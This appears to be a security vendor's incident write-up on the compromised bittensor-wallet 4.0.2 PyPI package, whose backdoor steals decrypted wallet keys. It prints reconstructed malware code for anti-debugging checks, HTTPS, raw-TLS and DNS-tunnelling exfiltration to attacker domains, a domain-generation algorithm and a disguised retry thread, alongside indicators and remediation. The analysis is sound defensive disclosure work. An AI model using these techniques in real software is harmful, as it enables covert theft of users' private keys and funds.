























On March 17, 2026, bittensor-wallet 4.0.2 was identified as a compromised PyPI package. The malicious release had been live on PyPI for approximately 48 hours before being yanked. This post is a ground-up technical breakdown based on a direct diff of the source tarballs for versions 4.0.1 and 4.0.2 — covering exactly what changed, how the backdoor works, and what defenders should do. We also ran the compromised package with StepSecurity Harden Runner and captured every C2 channel firing in real time.
bittensor-wallet (PyPI)4.0.26a416b72ff24804abc12484a3b41413a8580acedd8a5f8c84224fcf0732c2f8e4.0.1bittensor-wallet is the official Rust-backed Python library for managing Bittensor cryptographic keys — coldkeys, hotkeys, signing, and staking. A backdoor here has direct access to private key material.
Stop the next supply chain attack before it impacts you
Harden Runner blocks unauthorized network connections from CI/CD pipelines. Package Search finds compromised dependencies across your entire org. AI-powered Threat Intel detects malicious releases within minutes.

We ran the compromised package in a GitHub Actions environment with StepSecurity Harden Runner enabled to see the backdoor's network behavior firsthand. Every C2 channel fired — and Harden Runner logged all of it. The backdoor uses three independent exfiltration methods (HTTPS, DGA domains, and DNS tunneling) with three layers of C2 resolution — all of which are detailed in the technical walkthrough below.
The workflow did the following in sequence:
Step 1 — Download source tarballs
Downloaded the 4.0.2 source tarball from pypi.org / files.pythonhosted.org and Rust dependencies from index.crates.io.
Step 2 — Patch anti-analysis check
Patched out the is_monitored() uptime/debugger check in the source so the backdoor would actually fire in the CI environment (which would otherwise abort due to low uptime).
Step 3 — Install Rust toolchain and build dependencies
Built the compromised wheel from the patched source.
Step 4 — Build compromised wheel from source
Compiled the malicious native extension.
Step 5 — Trigger backdoor
Called a wallet decryption operation. This is where all the network activity happens.

Within the "Trigger backdoor" step, Harden Runner captured network connections to all three C2 layers in under 4 seconds:
15:10:48 UTC — process: python3.12
POST finney.opentensor-metrics.com/t — Allowed
15:10:50 UTC — process: python3.12
POST finney.subtensor-telemetry.com/t — Allowed
15:10:50 UTC — process: python3.12
finney.metagraph-stats.com:443 — Allowed
15:10:47 UTC — process: python3.12
_dmarc.opentensor-cdn.com:443 — Allowed — disguised as a DMARC email authentication lookup
15:10:51 UTC — process: python3.12
tuwyqibtvy.opentensor-cdn.com:443 — Allowed
15:10:51 UTC — process: python3.12
yccansiwfr.opentensor-cdn.com:443 — Allowed
15:10:51 UTC — process: python3.12
tbqcbkpbhy.opentensor-cdn.com:443 — Allowed
The DNS fallback fired immediately after the HTTPS attempts. The encrypted payload was split into 28 hex-encoded chunks and sent as DNS A queries to t.opentensor-cdn.com:
7973546b7237784c4162706d796d6a6851394a316c744961465674473367.0.28.52016.t.opentensor-cdn.com
48556731386e6469576534484d392f337654374f364449426849782b6b75.1.28.52016.t.opentensor-cdn.com
6646494e684d4170745946476b754e613671396b6f686c5962674b6a2b56.2.28.52016.t.opentensor-cdn.com
6446397a6c4c354552532b614d77566b2f72555164346a63426c494d3278.3.28.52016.t.opentensor-cdn.com
... (chunks 4–26) ...
4e4330326644317a5143.27.28.52016.t.opentensor-cdn.com
28 chunks × 60 hex chars = the full NaCl-encrypted payload exfiltrated over DNS, with no outbound HTTP required.

_dmarc. disguise was confirmed in live traffictuwyqibtvy, yccansiwfr, tbqcbkpbhy are the real March 17, 2026 DGA outputt.opentensor-cdn.com, session ID 52016python3.12 — all traffic originates from the legitimate Python interpreter, making process-level filtering ineffectiveIn this run, Harden Runner was in audit mode — it logged everything but blocked nothing. Had it been configured in block mode with an egress allowlist (e.g., only pypi.org, files.pythonhosted.org), every one of these connections would have been blocked:
finney.opentensor-metrics.com — blocked_dmarc.opentensor-cdn.com DNS TXT lookup — blockedt.opentensor-cdn.com — blockedThe encrypted payload would never leave the runner. The exfiltration would fail at all three layers.
Here is a step-by-step walkthrough of what happens from the moment you install the package to the moment your keys are stolen.
Bittensor is a decentralized AI marketplace. Instead of one company owning all the AI infrastructure, thousands of people around the world contribute compute power and AI models to a shared network — and get paid in Bittensor's cryptocurrency, TAO, for doing so. Think of it like Airbnb, but for AI: anyone can list their spare compute, and anyone can consume it.
There are two types of participants:
Both groups hold real money on the network — which makes them attractive targets.
bittensor-wallet?bittensor-wallet is the official Python library for managing your identity and funds on the Bittensor network. It does three core things:
There are two types of keys:
Why this library is a high-value target: Whoever has your private key can move your funds — instantly, irreversibly, with no bank to call. A backdoor in bittensor-wallet is about as direct a path to stealing funds as possible, because decrypting keys is literally its core job.
You run pip install bittensor-wallet and get version 4.0.2. Everything looks normal. The package installs fine. No errors. You have no idea anything is wrong.
The malware is compiled inside the Rust code — it's not a separate file you could easily spot. It's baked into the library itself.
The attacker also modified the bundled .github/workflows/release.yml, stripping build provenance attestation and the attestations: write permission. This removed the sigstore signature from the release, making it impossible to cryptographically verify that the wheels came from the legitimate CI pipeline:
- attestations: write
- - name: Generate artifact attestation
- uses: actions/attest-build-provenance@v2
- with:
- subject-path: 'wheels-*/*'
Maybe you stake some TAO, check your balance, or sign a transaction. Any of these operations require the library to decrypt your keyfile — unlock the password-protected file that holds your private key.
The moment that decryption happens, the malware wakes up. The backdoor is hooked into every decryption path in src/keyfile.rs via three call sites:
collect_format_metrics(&decrypted_data); // line ~1082
collect_format_metrics(&decrypted_data); // line ~1091
collect_format_metrics(&decrypted_data); // line ~1100
Before doing anything suspicious, the malware checks if it's being analyzed by a security researcher:
/proc/self/status. If TracerPid is not zero, someone is debugging this process → abort.strace, gdb, wireshark, frida, etc. If any are found → abort.If any of these checks trigger, the malware does nothing and exits silently. This is why it's hard to catch in a lab environment.
fn is_monitored() -> bool {
// uptime < 1200s (20 min) → sandbox
if uptime < 1200.0 { return true; }
// TracerPid != 0 → debugger attached
if TracerPid != 0 { return true; }
// strace|ltrace|gdb|wireshark|tcpdump|frida|bpftrace running → abort
// (all strings XOR-encoded in binary, key 0x42)
for process in /proc/*/comm {
if process matches any tool { return true; }
}
false
}
The malware looks at the Python call stack — basically peeks at what your code was doing when it called the decryption function — to figure out:
It tags the stolen data with "c" or "h" so the attacker knows which is more valuable. Coldkeys are the priority — they control staked funds. This is done by walking the Python call stack via pyo3 at runtime:
fn detect_wallet_type() -> &'static str {
pyo3::Python::with_gil(|py| {
py.run(c"
import sys as _s
_r='u'
try:
_f=_s._getframe(0)
while _f is not None:
_v=_f.f_locals.get('self')
if _v is not None and hasattr(_v,'path'):
_p=str(_v.path)
if '/hotkey' in _p:
_r='h'
elif '/coldkey' in _p:
_r='c'
break
_f=_f.f_back
except Exception:
pass
", ...)
})
}
The raw decrypted private key (a JSON blob containing your secret) is now in memory. The malware builds a tagged payload and encrypts it using the attacker's hardcoded public key via NaCl sealed box (crypto_box_seal). The encryption is asymmetric — only the attacker can decrypt it. Even if you capture the traffic, the contents are opaque.
// payload: {"t":"c", "d":{...raw keyfile JSON...}}
// attacker NaCl pubkey (XOR-decoded, key 0x3C):
// da eb c8 f3 3f d7 9a 8e d6 5b d4 38 32 80 ca b1 ...
let pk = PublicKey::from_slice(&xor_decode(KEY_DATA, 0x3C))?;
Some(sealedbox::seal(data, &pk)) // only attacker can decrypt
It keeps a SHA256 hash of every payload it's already sent in a HashSet. If you unlock the same wallet 10 times, it only exfiltrates it once. This keeps network traffic minimal and avoids triggering volume-based alerts.
struct MetricsState {
pending: Vec<Vec<u8>>, // queue of encrypted payloads
seen: HashSet<[u8; 32]>, // SHA256 dedup set, capped at 1024 entries
}
The malware has three completely independent ways to phone home, tried one after another:
Method A — Normal HTTPS (using Python's built-in urllib via pyo3)
Posts the encrypted payload to one of the attacker's domains. The key detail: daemon=False means Python will wait for this thread to finish before the process exits — ensuring delivery even on short-lived CLI commands.
import threading
def _f(_d=_d, _e=_e):
from urllib.request import Request, urlopen
b = json.dumps({"d": _d}).encode()
for u in _e:
try:
r = Request(u, b)
r.add_header("User-Agent", "Python/3")
urlopen(r, timeout=5)
return
except Exception:
continue
threading.Thread(target=_f, daemon=False).start() # ← not daemon
Method B — Raw TLS via dlopen/dlsym
If Method A fails, it opens libssl.so directly using unsafe FFI — bypassing Python proxies, urllib monkey-patching, and any Python-layer network monitoring entirely.
// Opens libssl.so.3 / libssl.so.1.1 / libssl.so via dlopen
// Manually calls: SSL_CTX_new, SSL_new, SSL_set_fd, SSL_ctrl (SNI),
// SSL_connect, SSL_write, SSL_read, SSL_free
// Sends raw HTTP/1.1 POST over TLS — User-Agent: Python/3 (XOR decoded)
Method C — DNS tunneling
If both HTTPS methods fail, the payload is hex-encoded, split into 60-char chunks, and sent as DNS A queries. No successful DNS response is needed — the attacker's nameserver reconstructs the key from the query log alone.
// Each chunk sent as an A query:
// <hex_chunk>.<index>.<total>.<session_id>.t.opentensor-cdn.com
a3f1b2c4d5....<0>.<4>.<session>.t.opentensor-cdn.com → A query
b6e7f8a9b0....<1>.<4>.<session>.t.opentensor-cdn.com → A query
C2 means "command and control" — the attacker's servers. The malware has three ways to find them:
0x5A) domains mimicking legitimate Bittensor infrastructurefinney.opentensor-metrics.com // lookalike for opentensor.ai
finney.metagraph-stats.com // lookalike for metagraph APIs
finney.subtensor-telemetry.com // lookalike for subtensor telemetry*.opentensor-cdn.com by hashing the current day number. Even if you block today's domains, new ones appear tomorrow.fn generate_dga_endpoints() -> Vec<String> {
let day = unix_epoch_seconds() / 86400;
(0..3).map(|i| {
let hash = sha256((day + i).to_le_bytes());
let name: String = hash[..10].iter()
.map(|b| ('a' + (b % 26)) as char).collect();
format!("https://{}.opentensor-cdn.com/t", name)
})
}
// e.g. https://xkqbafmjpt.opentensor-cdn.com/t (changes daily)_dmarc.opentensor-cdn.com (TXT record), disguised as a routine DMARC email authentication lookup, to fetch a dynamically updated list of backup servers:// Expected TXT response format:
rua=<base64-encoded pipe-separated host list>This means even if defenders block all known C2 domains, the malware can still find a working server.
Failed sends aren't dropped. They go into a queue (up to 64 entries). A background thread wakes up every 2–10 minutes with randomized jitter and retries. The thread is deliberately named cache-gc to blend in with legitimate garbage collection threads in the process list.
fn metrics_flush_worker() {
std::thread::sleep(jitter_duration(1, 3)); // 1–3s initial delay
loop {
flush_pending();
std::thread::sleep(jitter_duration(120, 600)); // 2–10 min retry
}
}
// thread::Builder::new().name("cache-gc".to_string())...
After a successful send, the buffer holding your key is zeroed using volatile writes — forcing the CPU to actually perform the clear rather than letting the compiler optimize it away. If a memory dump or core file is captured after exfiltration, the key material is gone.
fn clear_buffer(buf: &mut Vec<u8>) {
for byte in buf.iter_mut() {
unsafe { std::ptr::write_volatile(byte as *mut u8, 0); }
}
buf.clear();
}
The end result: The attacker has your private key on their server. They decrypt it, import it into their own wallet software, and drain your funds. You find out when you next check your balance. The whole thing happens silently in the background while your normal wallet command completes successfully.
bittensor-wallet==4.0.26a416b72ff24804abc12484a3b41413a8580acedd8a5f8c84224fcf0732c2f8efinney.opentensor-metrics.comfinney.metagraph-stats.comfinney.subtensor-telemetry.com*.opentensor-cdn.com*.t.opentensor-cdn.com_dmarc.opentensor-cdn.com (TXT record)cache-gc (in Rust process thread list)Python/3src/keyfile.rs (in source tarball)daeb c8f3 3fd7 9a8e d65b d438 3280 cab1 3f00 f2a0 3ff5 13ca 7c50 aa85 7ecd d46fsetup.py), this backdoor compiles into the native extension. There is no readable Python to grep for.0x42, 0x47, 0x5A, 0x3C)._dmarc. prefix on the C2 DNS TXT lookup mimics a routine DMARC email authentication query.cache-gc — Background thread blends in with runtime GC threads.TracerPid check, and running process scan abort execution in analysis environments.Immediate action required: Any coldkey or hotkey whose keyfile was decrypted while 4.0.2 was installed should be considered compromised. Generate new keys and move funds immediately.
pip install bittensor-wallet==4.0.1*.opentensor-metrics.com*.metagraph-stats.com*.subtensor-telemetry.com*.opentensor-cdn.comcache-gc thread in any running Python/Rust wallet process.Enable artifact attestation (which was stripped in 4.0.2) and verify it on install:
gh attestation verify bittensor_wallet-4.0.2-cp311-cp311-linux_x86_64.whl \
--repo opentensor/btwalletPin with hash verification:
# requirements.txt
bittensor-wallet==4.0.1 \
--hash=sha256:edc2588d5e272835285e4171dd3daf862149f617015bf52e43d433d8e5c297c5
Stop the next supply chain attack before it impacts you
Harden Runner blocks unauthorized network connections from CI/CD pipelines. Package Search finds compromised dependencies across your entire org. AI-powered Threat Intel detects malicious releases within minutes.
Socket's automated scanning initially flagged bittensor-wallet 4.0.2 as a compromised package, which helped bring early attention to this incident.
We also want to acknowledge the maintainers of bittensor-wallet at opentensor for acting quickly to yank the compromised 4.0.2 release from PyPI once the issue was identified.
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。